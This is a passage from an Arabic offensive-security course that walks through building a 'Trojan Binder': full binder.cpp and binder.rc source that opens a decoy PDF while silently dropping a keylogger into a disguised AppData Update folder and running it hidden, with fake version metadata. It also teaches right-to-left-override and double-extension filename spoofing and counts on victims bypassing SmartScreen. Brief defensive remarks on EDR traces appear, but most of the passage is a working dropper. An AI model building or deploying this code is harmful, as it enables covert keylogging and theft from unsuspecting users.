#    https://learn.microsoft.com/sysinternals/downloads/process-explorer

# 2. فك الضغط وشغّل procexp64.exe

# 3. View → Show Process Tree
#    → يعرض العمليات كشجرة

# 4. الآن شغّل الأمر السابق مرة أخرى من PowerShell:
Start-Process calc.exe -WindowStyle Hidden

# 5. في Process Explorer:
#    • ستجد powershell.exe
#    • تحته CalculatorApp (خفي)
#    → علاقة Parent → Child

هذا ما سيراه المحلل عندما نشغّل الـ Binder:

text
Report.pdf.exe → Adobe (فتح PDF)
              → wmupdate.exe (Keylogger خفي)

المهاجم يخفي النافذة، لكن علاقة Parent-Child تبقى ظاهرة لـ EDR، نقطة مهمة للدفاع لاحقا.

✅ اختبر نفسك: القسم 5

  1. ما الفرق بين ShellExecuteEx() و CreateProcess()؟ ومتى تختار الثانية؟
  2. الـ Binder يطلق عمليّتين بإعدادات مختلفة تماماً. اذكر كل عملية والعَلَم (flag) المستخدم معها ولماذا.
  3. ماذا يفعل DETACHED_PROCESS، ولماذا لا يكفي SW_HIDE وحده؟
  4. في Process Explorer رأيت علاقة Parent → Child. لماذا تُعدّ هذه العلاقة تحديداً أثراً يبحث عنه المدافع؟
  5. لماذا يُنهي الـ Binder نفسه بعد إطلاق العمليتين بدل أن يبقى في الذاكرة؟

3/5 صحيحة = تابع. أقل = راجع جدول الدوال الثلاث ومعمل 5.


القسم 6القسم 6: MOTW و SmartScreen: الدفاعات المدمجة وحدودها

ما هي MOTW؟

Mark-of-the-Web = علامة الويب. عندما يُحمّل ملف من الإنترنت (Chrome, Edge, Outlook, ...) Windows يضيف لاحقة NTFS مخفية اسمها Alternate Data Stream (ADS) بمسار filename:Zone.Identifier. محتواها نص بسيط:

text
[ZoneTransfer]
ZoneId=3          ← Internet
ReferrerUrl=...
HostUrl=...

قيم ZoneId الممكنة: 0=Local, 1=Intranet, 2=Trusted, 3=Internet, 4=Restricted.

ما هي SmartScreen؟

SmartScreen = فحص Microsoft قبل تشغيل أي ملف تنفيذي مع MOTW. يفحص:

  1. سمعة الملف (hash معروف؟)
  2. توقيع رقمي (Signed؟ EV؟)
  3. سمعة الناشر

النتائج:

  • معروف وموثوق → يعمل بلا سؤال.
  • غير معروف + غير موقّع → "Windows protected your PC"، يجب Run Anyway.
  • معروف كخبيث → يُحجب!

الـ Binder الذي نبنيه غير موقّع، لا سمعة له → SmartScreen سيحذّر. هذه هي العقبة الحقيقية الوحيدة في طريقنا، ولن نتخطاها هنا، نعتمد على الضحية لتضغط Run Anyway.

🧪 معمل 6: افحص MOTW وشاهد SmartScreen

خطوات الفحص:

powershell
# 1. حمّل أي ملف EXE مجاني من موقع شرعي (7-zip, notepad++)
#    لاحظ: من متصفح، ليس FTP

# 2. افتح PowerShell في مجلد التنزيلات:
cd $env:USERPROFILE\Downloads

# 3. اقرأ Zone.Identifier:
Get-Content .\7z.exe -Stream Zone.Identifier

# ستحصل على:
# [ZoneTransfer]
# ZoneId=3
# ReferrerUrl=https://7-zip.org

# 4. أو بالأمر البديل — كل الـ streams على الملف:
Get-Item .\7z.exe -Stream *

# 5. بديل GUI: Right-click → Properties → في الأسفل خيار "Unblock"
#    → وجوده يعني MOTW موجود

إزالة MOTW ومشاهدة SmartScreen:

powershell
# 1. أزل MOTW يدويا:
Unblock-File .\7z.exe

# 2. اقرأ مرة أخرى:
Get-Content .\7z.exe -Stream Zone.Identifier
# → الآن: خطأ (لا يوجد)

# 3. جرّب ملفنا notepad-with-pdf.exe من المعمل السابق:
Get-Content C:\Temp\notepad-with-pdf.exe -Stream Zone.Identifier
# → خطأ (لأنه مصنوع محليا، لا MOTW)

# 4. أضف MOTW يدويا كأنه من الإنترنت:
Set-Content C:\Temp\notepad-with-pdf.exe `
    -Stream Zone.Identifier `
    -Value "[ZoneTransfer]`nZoneId=3"

# 5. انقره الآن → SmartScreen يظهر!

# أداة أعمق (Sysinternals streams.exe):
# streams.exe -s C:\Temp\notepad-with-pdf.exe

MOTW هو أهم إشارة يعتمد عليها SmartScreen. المهاجمون يحاولون تجريدها (عبر ISO أو ZIP قديمة). كل ما نبنيه سيحمل MOTW.

✅ اختبر نفسك: القسم 6

  1. أين تُخزَّن MOTW فعلياً؟ اذكر اسم الآلية في NTFS والمسار الذي قرأتَه في المعمل.
  2. ماذا تعني القيمة ZoneId=3؟ وما القيمة التي تعني "من الشبكة الداخلية"؟
  3. لماذا لم يُظهر SmartScreen أي تحذير على ملف notepad-with-pdf.exe الذي بنيتَه محلياً؟
  4. SmartScreen يفحص ثلاثة أشياء قبل السماح بالتشغيل. اذكرها، ثم قل أيّها يمكن للمهاجم شراؤه بالمال.
  5. الملف وصل عبر SMB في القسم 9 وحمل MOTW رغم ذلك. ماذا يخبرك هذا عن معنى كلمة "الإنترنت" عند Windows؟

4/5 = تابع. أقل = أعد قراءة تعريف MOTW ومعمل الـ Zone.Identifier.


القسم 7القسم 7: خدع الأسماء: RLO والامتداد المزدوج

الخدعة الأولى: الامتداد المزدوج

الاسم الحقيقي: Report.pdf.exe. مع إعداد Explorer الافتراضي (_Hide known extensions_) يظهر: Report.pdf. لماذا؟

  • .exe امتداد "معروف" لـ Windows.
  • Windows يخفيه.
  • الجزء المتبقي = Report.pdf.

مع أيقونة PDF: خداع بصري كامل! الحل الوحيد للمستخدم: تفعيل _Show file extensions_، لكن أقل من 5% يفعلونه.

الخدعة الثانية: RLO (Right-to-Left Override, U+202E)

حرف Unicode خفي U+202E يقلب اتجاه العرض للنص بعده!

  • الاسم الحقيقي: Report<U+202E>fdp.exe
  • Explorer يعرض: Reportexe.pdf

لماذا يعمل؟

  • الحرف صامت (لا يُطبع).
  • يقلب كل ما بعده: fdp.exe → exe.pdf.
  • الامتداد الحقيقي يبقى .exe، يُشغّل مباشرة كأي EXE!

🧪 معمل 7: اصنع اسما مخادعا وشاهد الانعكاس بعينك

قبل البدء، لماذا لن نبدأ بـ CyberChef في المحاضرة السابقة اقترحنا CyberChef كأداة بصرية أولى. المشكلة الحقيقية المكتشفة الآن: - CyberChef Output لا يعرض الانعكاس أبدا (يعرض Report·fdp.exe أو أحرف مشوّهة) - هذا ليس خطأك ولا خطأ الأمر، إنها ثغرة معروفة في CyberChef (issue #1535) - الحرف U+202E موجود فعلا في مخرج CyberChef، لكن CyberChef يعطّل تفسيره في نافذة العرض بعد اكتشاف Trojan Source (CVE-2021-42574) الحل: نستخدم أدوات Windows الأصلية مباشرة. تُرى الانعكاس البصري فورا، بلا وسيط.

الجزء 1، أسرع طريقة لرؤية الانعكاس (سطران PowerShell + Notepad)

هذه الطريقة الموصى بها. ثلاث خطوات، نتيجة بصرية فورية:

powershell
# 1. ابن السلسلة داخل PowerShell وضعها في الحافظة:
"Report$([char]0x202E)fdp.exe" | Set-Clipboard

# 2. افتح Notepad (أو شريط عنوان File Explorer)
notepad.exe

# 3. Ctrl+V داخل Notepad → سترى فورا: Reportexe.pdf

النتيجة على الشاشة: Reportexe.pdf ← الانعكاس البصري الحقيقي بلا CyberChef ولا أي أداة ويب.

💡 لحظة تعليمية، VS Code يرفض أن يُخدع جرب لصق نفس محتوى الحافظة داخل VS Code. لن ترى الانعكاس، بل تعليم واضح يقول "bidirectional Unicode character". السبب: بعد الكشف عن هجوم Trojan Source (CVE-2021-42574) في 2021، VS Code عطّل تفسير U+202E تلقائيا في المحرر، ويعرضه كعلامة تحذيرية. هذا الفرق بين محرر واعٍ أمنيا (VS Code) ومحرر تقليدي (Notepad) درس مهم للطالب: - Notepad = يظهر ما يرى المستخدم النهائي (خطر بصري) - VS Code = يظهر الحقيقة الخام (أمان تطوير)

الجزء 2، طبّق على ملف EXE حقيقي

powershell
# 1. جهّز ملفا للتجربة (لا تعبث بـ notepad.exe الأصلي!)
Copy-Item C:\Windows\System32\notepad.exe C:\Temp\Report.pdf.exe

# 2. أعد تسميته باستخدام حرف RLO مبني برمجيا:
$rlo = [char]0x202E
$oldName = "Report.pdf.exe"
$newName = "Report" + $rlo + "fdp.exe"
cd C:\Temp
Rename-Item -LiteralPath $oldName -NewName $newName

# 3. افتح Explorer على C:\Temp:
explorer.exe C:\Temp

# ماذا سترى في Explorer:
#    • الاسم: Reportexe.pdf (الانعكاس البصري)
#    • الأيقونة: أيقونة Notepad (أو PDF لو بدّلتها من المعمل 2)

# 4. انقر مرتين على الملف:
#    • Windows يقرأ الامتداد الحقيقي (.exe) ويشغّله
#    • Notepad يفتح — رغم أن الضحية توقعت PDF
⚠️ لماذا نستخدم -LiteralPath وليس -Path Rename-Item -Path يعامل بعض الرموز كأحرف wildcard: - [ و ] (مجموعة أحرف) - * (أي عدد من الأحرف) - ? (حرف واحد) مع الأسماء الغريبة (وخصوصا اسم فيه حرف RLO) قد يفسّر PowerShell الاسم خطأ ويفشل الأمر. -LiteralPath يستخدم الاسم حرفا حرفا بلا تفسير، أضمن دائما.

الجزء 3، طرق بديلة لبناء الحرف (اختر ما تفضل)

الطريقة الأولى (Set-Clipboard) هي المفضلة، لكن هذه بدائل حسب البيئة:

بديل 1، charmap.exe (يحاكي ما يفعله المهاجم يدويا):

powershell
# افتح Character Map
charmap.exe

# فعّل: Advanced view ✓
# في Search حقل: اكتب "right-to-left override"
# انقر الحرف الظاهر → Select → Copy
# ثم في Notepad: اكتب "Report" ثم Ctrl+V ثم "fdp.exe"

بديل 2، خدعة Alt+X في Notepad/WordPad:

text
1. افتح Notepad
2. اكتب: Report202Efdp.exe
3. ضع المؤشر بعد "202E" مباشرة (بين E و f)
4. اضغط Alt+X
   → الأرقام الأربعة "202E" تنطوي على نفسها وتصبح حرف RLO
   → السطر يظهر فورا: Reportexe.pdf

بديل 3، ملف HTML بسيط (يعمل في أي متصفح):

html
<!DOCTYPE html>
<html><body style="font-family: Segoe UI; font-size: 24px;">
Report&#x202E;fdp.exe
</body></html>

احفظه كـ demo.html وافتحه في أي متصفح، سيعرض Reportexe.pdf فورا.

بديل 4، من WSL Ubuntu (يستخدم بايتات UTF-8 مباشرة):

bash
# الحرف U+202E في UTF-8 = 0xE2 0x80 0xAE
newname=$(printf 'Report\xe2\x80\xaefdp.exe')
mv Report.pdf.exe "$newname"
ls -la
# ← في الطرفية سترى: Reportexe.pdf

ماذا عن CyberChef؟ لا يزال مفيدا لكشف الحرف الخفي في ملف نزل من الشبكة، مثلا الصق اسم ملف مشبوه في Input وشغّل عملية To Hex أو To Escaped Unicode لتكشف وجود \u202E. لكن لا تستخدمه لعرض الانعكاس البصري، الـ Output معطّل في هذا السياق.

الجزء 4، نظف بعد التجربة:

powershell
# احذف الملف التجريبي:
Remove-Item -LiteralPath ("C:\Temp\Report" + [char]0x202E + "fdp.exe")

# لو نسيت المسار الحقيقي، ابحث عن كل ملف بحجم RLO في مجلد:
Get-ChildItem C:\Temp | Where-Object { $_.Name -match "$([char]0x202E)" }

أنت الآن تعرف كل خدع الطبقة الأولى (البصر/الاسم). الطبقة الثانية (السلوك) نصنعها في binder.cpp.

✅ اختبر نفسك: القسم 7

  1. ما الرمز اليونيكودي المستخدم في خدعة RLO؟ ولماذا يوصف بأنه "حرف صامت"؟
  2. الاسم الحقيقي Report<RLO>fdp.exe يظهر للمستخدم Reportexe.pdf. اشرح خطوة بخطوة كيف حدث هذا الانعكاس.
  3. رغم الانعكاس البصري، Windows يشغّل الملف كـ EXE. لماذا لا يتأثّر نظام التشغيل بالخدعة؟
  4. لماذا نبني حرف U+202E برمجياً عبر [char]0x202E بدل كتابته مباشرة في الملف؟
  5. ما الفرق بين الخدعتين، الامتداد المزدوج و RLO، من ناحية ما يراه المدافع في السجلّات؟

3/5 = تابع.


القسم 8القسم 8: بناء الـ Binder: الكود الكامل

الآن نجمع كل ما تعلمناه في ملفين: binder.cpp (الكود) و binder.rc (الموارد).

تجهيز البيئة: MinGW-w64 داخل WSL

نستخدم WSL Ubuntu كبيئة مهاجم (وفق قسم 8 من المحاضرة الأم). MinGW-w64 = مترجم C/C++ يُنتج ملفات Windows PE من داخل Linux.

bash
# داخل WSL Ubuntu:
sudo apt update
sudo apt install -y mingw-w64 imagemagick

# تحقق:
x86_64-w64-mingw32-g++ --version
# = GCC ... x86_64-w64-mingw32

x86_64-w64-mingw32-windres --version
# = GNU windres ...

# ImageMagick نحتاجه لتحويل PNG → ICO:
convert --version | head -1

إن نفّذت 01-wsl-attacker-install.sh من المحاضرة الأم، كل هذا مثبت بالفعل.

الملف الأول: binder.cpp (الـ Loader الكامل: انسخه بضغطة واحدة)

cpp
// binder.cpp — Trojan Binder Loader (تعليم فقط، للاستخدام داخل VM معزول)
// يبنى بـ MinGW-w64 مع -mwindows -municode (لا console window)

// (0) يجب أن يأتي قبل <windows.h> — يفتح استخدام دوال Vista+
//     مثل SHGetKnownFolderPath و FOLDERID_RoamingAppData.
//     0x0601 = Windows 7 baseline (يشمل Vista+8+10+11)
#ifndef _WIN32_WINNT
#define _WIN32_WINNT 0x0601
#endif

#include <windows.h>   // الترويسة الشاملة لـ Win32 API
#include <shlobj.h>    // SHGetKnownFolderPath, SHCreateDirectoryExW, FOLDERID_*
#include <shlwapi.h>   // اختياري هنا (لا نستخدم شيئا منها فعلا لكن نبقيها للاتساق)
#include <string>      // std::wstring
#include <vector>      // std::vector<wchar_t> — مخزن قابل للتعديل

// ── (1) قراءة مسار مجلد معروف (%APPDATA%، %TEMP%…) كـ wide string ─────
static std::wstring KnownFolder(REFKNOWNFOLDERID id) {
    PWSTR raw = nullptr;                                       // مؤشر نصي عريض
    if (SHGetKnownFolderPath(id, 0, NULL, &raw) != S_OK) return L"";
    std::wstring out = raw;                                    // انسخ إلى wstring
    CoTaskMemFree(raw);                                        // حرر بمخصص COM
    return out;
}

static std::wstring TempPath(const std::wstring& name) {
    wchar_t buf[MAX_PATH];                                     // 260 حرف عريض على stack
    GetTempPathW(MAX_PATH, buf);                               // %TEMP%\ ينتهي بـ backslash
    return std::wstring(buf) + name;
}

static std::wstring AppDataSubPath(const std::wstring& sub) {
    std::wstring base = KnownFolder(FOLDERID_RoamingAppData);  // C:\Users\X\AppData\Roaming
    if (base.empty()) return L"";
    std::wstring full = base + L"\\" + sub;
    // أنشئ سلسلة المجلدات الأب (مثل mkdir -p) — بدونها CreateFileW يفشل
    SHCreateDirectoryExW(NULL, full.substr(0, full.find_last_of(L'\\')).c_str(), NULL);
    return full;
}

// ── (2) استخراج مورد RCDATA من نفس EXE وكتابته إلى ملف ─────────────────
// ملاحظة: نستخدم FindResourceW/GetModuleHandleW (وليس النسخ A)
// لأن -DUNICODE يجعل ثابت RT_RCDATA من نوع LPCWSTR — يجب مطابقته.
static bool ExtractResource(LPCWSTR resName, const std::wstring& outPath) {
    HRSRC hRes = FindResourceW(GetModuleHandleW(NULL), resName, RT_RCDATA);
    if (!hRes) return false;                                   // المورد غير موجود

    HGLOBAL hData = LoadResource(NULL, hRes);
    if (!hData) return false;                                  // فشل التحميل

    void* pData = LockResource(hData);                         // مؤشر لأول بايت
    DWORD  size = SizeofResource(NULL, hRes);                  // الحجم بالبايت
    if (!pData || size == 0) return false;

    HANDLE hFile = CreateFileW(outPath.c_str(), GENERIC_WRITE, 0, NULL,
                                CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return false;

    DWORD written = 0;
    BOOL ok = WriteFile(hFile, pData, size, &written, NULL);
    CloseHandle(hFile);                                        // إلزامي — بدونه تسريب مقبض
    return ok && (written == size);                            // فحص مزدوج
}

// ── (3) تشغيل EXE خفية بلا نافذة ───────────────────────────────────────
static bool SpawnHidden(const std::wstring& exePath) {
    STARTUPINFOW si = { sizeof(si) };                          // { cb = sizeof, باقي = 0 }
    si.dwFlags     = STARTF_USESHOWWINDOW;                     // اعتبر wShowWindow
    si.wShowWindow = SW_HIDE;                                  // أخفِ النافذة
    PROCESS_INFORMATION pi = {};

    // CreateProcessW توثيقيا قد تعدّل lpCommandLine — نستعمل buffer قابل للكتابة
    std::wstring cmd = L"\"" + exePath + L"\"";                // اقتباس لدعم المسافات
    std::vector<wchar_t> mutableCmd(cmd.begin(), cmd.end());
    mutableCmd.push_back(L'\0');                               // نهاية سلسلة C

    BOOL ok = CreateProcessW(
        NULL,                          // lpApplicationName — NULL = استخرج من cmd
        mutableCmd.data(),             // lpCommandLine — كامل مع اقتباس
        NULL,                          // lpProcessAttributes — سمات أمان افتراضية
        NULL,                          // lpThreadAttributes — سمات thread افتراضية
        FALSE,                         // bInheritHandles — لا نورث مقابضنا
        CREATE_NO_WINDOW | DETACHED_PROCESS,   // dwCreationFlags — بلا console
        NULL,                          // lpEnvironment — بيئة الأم
        NULL,                          // lpCurrentDirectory — cwd الأم
        &si, &pi);

    if (ok) {
        CloseHandle(pi.hProcess);      // أغلق المقبض — العملية تستمر
        CloseHandle(pi.hThread);
    }
    return ok;
}

// ── (4) نقطة الدخول (Unicode GUI) ───────────────────────────────────────
int WINAPI wWinMain(HINSTANCE, HINSTANCE, PWSTR, int) {
    // (أ) استخرج decoy PDF إلى %TEMP% وافتحه للضحية
    std::wstring pdfPath = TempPath(L"Report.pdf");
    if (ExtractResource(L"DECOY_PDF", pdfPath)) {
        ShellExecuteW(NULL, L"open", pdfPath.c_str(),
                      NULL, NULL, SW_SHOWNORMAL);              // Shell يختار قارئ PDF
    }

    // (ب) استخرج الـ Keylogger إلى مسار مخفي وشغّله بلا نافذة
    std::wstring exePath = AppDataSubPath(L"Microsoft\\Windows\\Update\\wmupdate.exe");
    if (!exePath.empty() && ExtractResource(L"PAYLOAD_EXE", exePath)) {
        SpawnHidden(exePath);
    }

    // (ج) امنح ShellExecute وقتا للانتقال إلى Adobe/PDF viewer
    Sleep(500);
    return 0;
}
✅ الكود مُختبَر عمليا: جمّعناه بـ mingw-w64 (GCC 10) داخل WSL Ubuntu بأصول تجريبية (dummy .ico, .pdf, .exe)، والنتيجة: Report.pdf.exe بحجم ~503KB يحتوي فعلا على %PDF magic bytes وعلى النص المميز من الـ payload المضمن، مع قسم .rsrc كامل الحجم ~294KB. راجع "سجل الأخطاء المكتشفة بالاختبار" في نهاية القسم.

🔍 مرجع تفصيلي: كل سطر في binder.cpp

#define _WIN32_WINNT 0x0601 (السطر الجديد)

  • ما هو: ماكرو معالج مسبق (preprocessor macro) يحدد الحد الأدنى لإصدار Windows الذي يدعمه الكود.
  • لماذا نحتاجه: SHGetKnownFolderPath و FOLDERID_RoamingAppData أُضيفت في Windows Vista (0x0600). بدون هذا التعريف، رؤوس MinGW تخفيها ويفشل التحويل البرمجي بـ undeclared identifier.
  • لماذا 0x0601: يمثل Windows 7، الحد الأدنى الآمن اليوم (Vista ميت). يشمل تلقائيا كل ما هو أحدث.
  • لو حذفناه: خطأ تجميع فوري.

#include <windows.h>

  • ما هو: ترويسة شاملة (umbrella header) تسحب مئات الترويسات الفرعية (winbase.h, winuser.h, fileapi.h, processthreadsapi.h…).
  • لماذا نحتاجها: تعطينا الأنواع (HANDLE, DWORD, BOOL)، الدوال (CreateFileW, WriteFile, CreateProcessW, Sleep)، البنى (STARTUPINFOW)، والثوابت (GENERIC_WRITE, SW_HIDE, MAX_PATH).
  • لو حذفناها: عشرات أخطاء undeclared identifier.

#include <shlobj.h>

  • ما هو: ترويسة Windows Shell، واجهة Explorer والمجلدات المعروفة.
  • ما نستفيده منها هنا: — SHGetKnownFolderPath، تعطينا مسار مجلد معروف. — SHCreateDirectoryExW، تنشئ سلسلة مجلدات كاملة (mkdir -p). — KNOWNFOLDERID, FOLDERID_RoamingAppData، تعريفات المجلدات.
  • لو حذفناها: SHGetKnownFolderPath غير معرّفة → فشل ربط (link error).

#include <shlwapi.h>

  • ما هو: ترويسة Shell Lightweight API (PathCombineW, PathFileExistsW…).
  • هل نستخدمها فعلا؟ لا، الملف لا يستدعي أي شيء منها. المسارات نبنيها بجمع std::wstring مباشرة.
  • لماذا نبقيها: أثر تاريخي، غير مؤذية. يمكن حذفها بأمان.
  • لو حذفناها: لا شيء يتأثر.

#include <string> و #include <vector>

  • <string> يعطينا std::wstring، سلسلة من wchar_t (16-bit على Windows) لدعم أسماء Unicode مثل C:\Users\محمد\....
  • <vector> يعطينا std::vector<wchar_t>، مصفوفة قابلة للتعديل نحتاجها لـ CreateProcessW (التي قد تعدّل معاملها الثاني).
  • البادئة L"...": تجعل الحرفيّ wchar_t* بدل char*. بدونها لا يمكن تمريره لدوال W.

static على الدوال

  • ما تعنيه: تعطي الدالة internal linkage، الاسم مرئي فقط داخل هذا الملف.
  • الفوائد: منع تصادم الأسماء، والسماح للمُحسِّن بتضمينها (inline).
  • لو حذفناها: يعمل البرنامج، لكن أسماء الدوال تصبح قابلة للربط من ملفات أخرى.

الأنواع الشائعة (HANDLE, DWORD, BOOL, PWSTR…)

النوعأصلهلماذا
HANDLEvoid* مبهممقبض عام لأي kernel object (ملف، عملية، thread)
HRSRCمقبضمعلومات وصفية لمورد داخل PE
HGLOBALمقبضكتلة ذاكرة (اسم تاريخي من Win16)
HINSTANCEمقبضمرجع لصورة EXE/DLL في الذاكرة
DWORDunsigned int 32-bitكل الأعداد غير الموقّعة في Win32
BOOLint (وليس bool!)قيمة بولية Win32: قد تكون أي int
PWSTRwchar_t*نص عريض قابل للتعديل (Pointer + Wide + STRing)
LPCWSTRconst wchar_t*نص عريض للقراءة فقط (Long Pointer + Const + Wide + STR)
REFKNOWNFOLDERIDconst KNOWNFOLDERID&مرجع لـ GUID مجلد معروف
HRESULTint32 مقسومقيمة إرجاع لـ COM/Shell: S_OK = 0 = نجاح

دالة KnownFolder

  • SHGetKnownFolderPath(id, 0, NULL, &raw): تسأل Windows Shell عن مسار المجلد، تخصص المخزن، وتعيد مؤشره في raw.
  • S_OK: ثابت HRESULT قيمته 0 = نجاح. أي شيء آخر = فشل.
  • CoTaskMemFree(raw): ضروري لتحرير الذاكرة من COM task allocator. لا تستخدم delete أو free، المخصصات مختلفة والخلط يسبب heap corruption.
  • لو حذفنا CoTaskMemFree: تسريب ذاكرة في كل استدعاء.
  • لو حذفنا الفحص != S_OK: قد نقرأ raw = nullptr = access violation.

دالة TempPath

  • لماذا لاحقة W في GetTempPathW: كل دالة Win32 تتعامل مع نص لها نسختان، A (ANSI) و W (Wide). النسخة W هي الأصلية داخل الـkernel الحديث، والنسخة A غلاف يحوّل. نستعمل W دائما مع std::wstring.
  • MAX_PATH: ثابت = 260. حد Windows التاريخي لطول المسار.

دالة AppDataSubPath

  • FOLDERID_RoamingAppData: ثابت GUID يمثل مجلد %APPDATA% = C:\Users\<user>\AppData\Roaming\. "Roaming" لأن هذه الملفات تنتقل مع الحساب في بيئات المؤسسات (Active Directory).
  • SHCreateDirectoryExW: ينشئ سلسلة المجلدات كاملة. بدون هذا: CreateFileW يفشل بـ ERROR_PATH_NOT_FOUND عندما نحاول الكتابة في مجلد غير موجود.

دالة ExtractResource: خط استخراج المورد

المرحلة | الدالة | ماذا تفعل --------|--------|---------- 1 | GetModuleHandleW(NULL) | تعيد مقبض EXE نفسه. NULL = "أعطني مقبض من أعمل بداخله" 2 | FindResourceW(mod, name, RT_RCDATA) | تبحث في جدول موارد EXE عن مورد بذلك الاسم من نوع RT_RCDATA 3 | LoadResource(NULL, hRes) | تحمّل المورد في الذاكرة (فعليا يظل معينا في صورة EXE) 4 | LockResource(hData) | تعيد مؤشر خام (void*) لأول بايت 5 | SizeofResource(NULL, hRes) | الحجم بالبايت

  • RT_RCDATA: ثابت نوع المورد "Raw Data"، بيانات ثنائية عامة (عكس RT_ICON أو RT_STRING الذين لهم بنية محددة).
  • لا نحرر أي شيء: الموارد مُعيّنة داخل صورة EXE، لا تحتاج free.

ملاحظة تقنية مهمة: استعملنا FindResourceW (وليس A) لأن -DUNICODE يجعل ثابت RT_RCDATA من نوع LPCWSTR. لو استعملنا FindResourceA كما في نسخة سابقة نحصل على خطأ cannot convert LPWSTR to LPCSTR، راجع سجل الأخطاء.

كتابة الملف

  • CreateFileW، كل عَلَم: — GENERIC_WRITE، نية الكتابة فقط — 0، عدم مشاركة (share mode = none) — NULL، سمات أمان افتراضية — CREATE_ALWAYS، أنشئ أو استبدل. البدائل: CREATE_NEW, OPEN_EXISTING, OPEN_ALWAYS — FILE_ATTRIBUTE_NORMAL، بلا خصائص خاصة — NULL، لا template
  • INVALID_HANDLE_VALUE: ثابت خاص (HANDLE)-1 تعيده CreateFileW عند الفشل. مهم: ليس NULL! هذا اختلاف تاريخي.
  • WriteFile: يكتب size بايت. المعامل الرابع يستقبل عدد البايتات المكتوبة فعلا.
  • لماذا نفحص ok && (written == size): WriteFile قد تعيد TRUE لكنها كتبت أقل (قرص ممتلئ مثلا). الفحص المزدوج يضمن سلامة النسخ.
  • CloseHandle: إلزامي، بدون إغلاق يبقى الملف مقفولا للنظام حتى انتهاء العملية.

دالة SpawnHidden: تشغيل بلا نافذة

البنى:

  • STARTUPINFOW: بنية تصف كيف تبدأ العملية الجديدة. — { sizeof(si) } يهيّئ cb (حجم البنية) وباقي الأعضاء إلى صفر. Windows يستخدم cb لمعرفة إصدار البنية. — STARTF_USESHOWWINDOW = اعتبر قيمة wShowWindow صحيحة. — SW_HIDE = أخفِ نافذة العملية.
  • PROCESS_INFORMATION: بنية يملؤها CreateProcessW بمقابض العملية والـthread الجديدة.

لماذا mutableCmd: CreateProcessW توثيقيا قد تعدّل المعامل الثاني (lpCommandLine). تمرير cmd.c_str() (وهو const wchar_t*) قد يسبب undefined behavior. الحل: ننسخ إلى std::vector<wchar_t> قابل للكتابة.

المعاملات العشرة لـ CreateProcessW:

#المعاملقيمتناالشرح
1lpApplicationNameNULLاستخرج المسار من lpCommandLine
2lpCommandLinemutableCmd.data()سطر الأمر الكامل بين اقتباس
3lpProcessAttributesNULLسمات أمان افتراضية للعملية
4lpThreadAttributesNULLسمات أمان افتراضية للـthread
5bInheritHandlesFALSEلا نورّث مقابضنا للطفل
6dwCreationFlags`CREATE_NO_WINDOW \DETACHED_PROCESS`بلا console، منفصل
7lpEnvironmentNULLاستخدم بيئة الأم
8lpCurrentDirectoryNULLاستخدم cwd الأم
9lpStartupInfo&siمؤشر إلى STARTUPINFOW
10lpProcessInformation&piيستقبل مقابض ومعرفات العملية الجديدة
  • لماذا NULL أولا + الأمر الكامل ثانيا: يجعل Windows يفسر سطر الأمر كأن المستخدم كتبه في cmd.exe، يحترم الاقتباس والفراغات.
  • لماذا CloseHandle(pi.hProcess) رغم أن الطفل يستمر: CloseHandle يغلق المقبض فقط (مرجع في جدولنا)، لا العملية نفسها. طالما تعيش عملية الطفل، kernel يبقيها بمرجع داخلي.

نقطة الدخول wWinMain

  • wWinMain vs WinMain: — WinMain يستقبل LPSTR (ANSI) — wWinMain يستقبل PWSTR (Unicode wide)

نستعمل wWinMain لأننا نبني بـ -municode.

  • WINAPI: ماكرو = __stdcall، اصطلاح استدعاء Win32. يحدد أن المُستدعَى (وليس المُستدعِي) ينظف الـstack. إلزامي لأي دالة يستدعيها Windows loader.
  • لو حذفنا WINAPI: يختل stack عندما يستدعي Windows دالتنا → crash فوري.
  • المعاملات الأربعة (نتجاهلها): — HINSTANCE hInstance، مقبض EXE نفسه — HINSTANCE hPrevInstance، دائما NULL منذ Win32 — PWSTR pCmdLine، سطر الأوامر بلا اسم البرنامج — int nCmdShow، الحالة المقترحة للنافذة

ShellExecuteW vs CreateProcess

  • CreateProcess: تشغيل EXE مباشرة بمسار محدد. أنت تحدد الأمر.
  • ShellExecuteW: تسأل Shell "افتح هذا الملف كما لو نقر عليه المستخدم مرتين". يبحث في HKCR عن الفعل (open, edit, print) ويشغّل البرنامج المناسب.
  • الفعل "open": يفتح الملف بالبرنامج الافتراضي. لأن الامتداد .pdf، يفتحه قارئ PDF المسجّل.
  • لماذا ShellExecute للـ PDF: لا نعرف مسار Adobe Reader مسبقا، وShell يعرف.
  • لماذا CreateProcess للـ Keylogger: نحتاج تحكم دقيق في أعلام النافذة (SW_HIDE, CREATE_NO_WINDOW).

Sleep(500): لماذا 500 بالتحديد

  • Sleep(500): يجمّد thread الحالي 500 ملي ثانية.
  • لماذا 500: يعطي ShellExecuteW وقتا كافيا لبدء Adobe Reader (تحميل DLLs، فتح ملف). لو خرج Report.pdf.exe فورا فقد يفشل Shell في تسليم الملف للقارئ.
  • لو 0: لا انتظار، احتمال ضئيل لسباق (race condition).
  • لو 5000 (5 ثوان): تأخير غير مفيد، وقد يلاحظ المستخدم أن الملف "لا يستجيب".
  • 500 ملي = توازن بين "كافٍ" و"غير ملحوظ".

الملف الثاني: binder.rc (Resource Script الكامل)

rc
// binder.rc — Resource Script (يقرأه windres)

// (1) الأيقونة الرئيسية — يعرضها Explorer
1 ICON "pdf.ico"

// (2) الـ PDF الحقيقي (يُفتح للضحية)
DECOY_PDF   RCDATA  "decoy.pdf"

// (3) الـ Keylogger من المحاضرة 1
PAYLOAD_EXE RCDATA  "payload.exe"

// (4) معلومات إصدار مقنعة (تظهر في Properties → Details)
1 VERSIONINFO
FILEVERSION 1,0,0,0
PRODUCTVERSION 1,0,0,0
{
  BLOCK "StringFileInfo"
  {
    BLOCK "040904b0"
    {
      VALUE "CompanyName",      "Corp Notes Inc."
      VALUE "FileDescription",  "Quarterly Report"
      VALUE "FileVersion",      "1.0.0.0"
      VALUE "InternalName",     "Q4Report"
      VALUE "LegalCopyright",   "\251 2025 Corp Notes"
      VALUE "OriginalFilename", "Report.pdf"
      VALUE "ProductName",      "Corp Notes Reports"
      VALUE "ProductVersion",   "1.0"
    }
  }
  BLOCK "VarFileInfo"
  {
    VALUE "Translation", 0x0409, 0x04b0
  }
}
ملاحظة: لتجنب مشاكل ترميز حرف ©، نستخدم \251 (رمز octal escape لحرف copyright في codepage 1252). النسخة القديمة © قد تفشل في بعض إصدارات windres على أنظمة UTF-8.

